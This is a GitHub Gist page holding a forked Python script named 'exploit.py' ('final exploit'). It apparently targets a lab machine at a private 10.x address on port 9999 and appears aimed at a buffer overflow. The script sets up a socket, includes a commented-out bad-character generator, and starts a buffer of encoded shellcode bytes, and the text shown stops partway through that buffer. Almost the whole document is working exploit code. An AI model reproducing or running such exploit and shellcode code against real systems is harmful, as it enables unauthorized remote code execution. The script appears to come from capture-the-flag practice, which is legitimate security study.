Skip to content

Instantly share code, notes, and snippets.

@bensonmacharia
bensonmacharia / exploit.py
Created April 21, 2021 20:41 — forked from trevorsaudi/exploit.py
final exploit
import socket
from struct import pack
# bad_chars = b"".join([pack("<B",x) for x in range(1,256)])
IP = "10.10.255.160"
PORT = 9999
buf = b""
buf += b"\xdb\xd4\xba\x70\xb3\xd8\x55\xd9\x74\x24\xf4\x5b\x29"
buf += b"\xc9\xb1\x52\x83\xc3\x04\x31\x53\x13\x03\x23\xa0\x3a"
buf += b"\xa0\x3f\x2e\x38\x4b\xbf\xaf\x5d\xc5\x5a\x9e\x5d\xb1"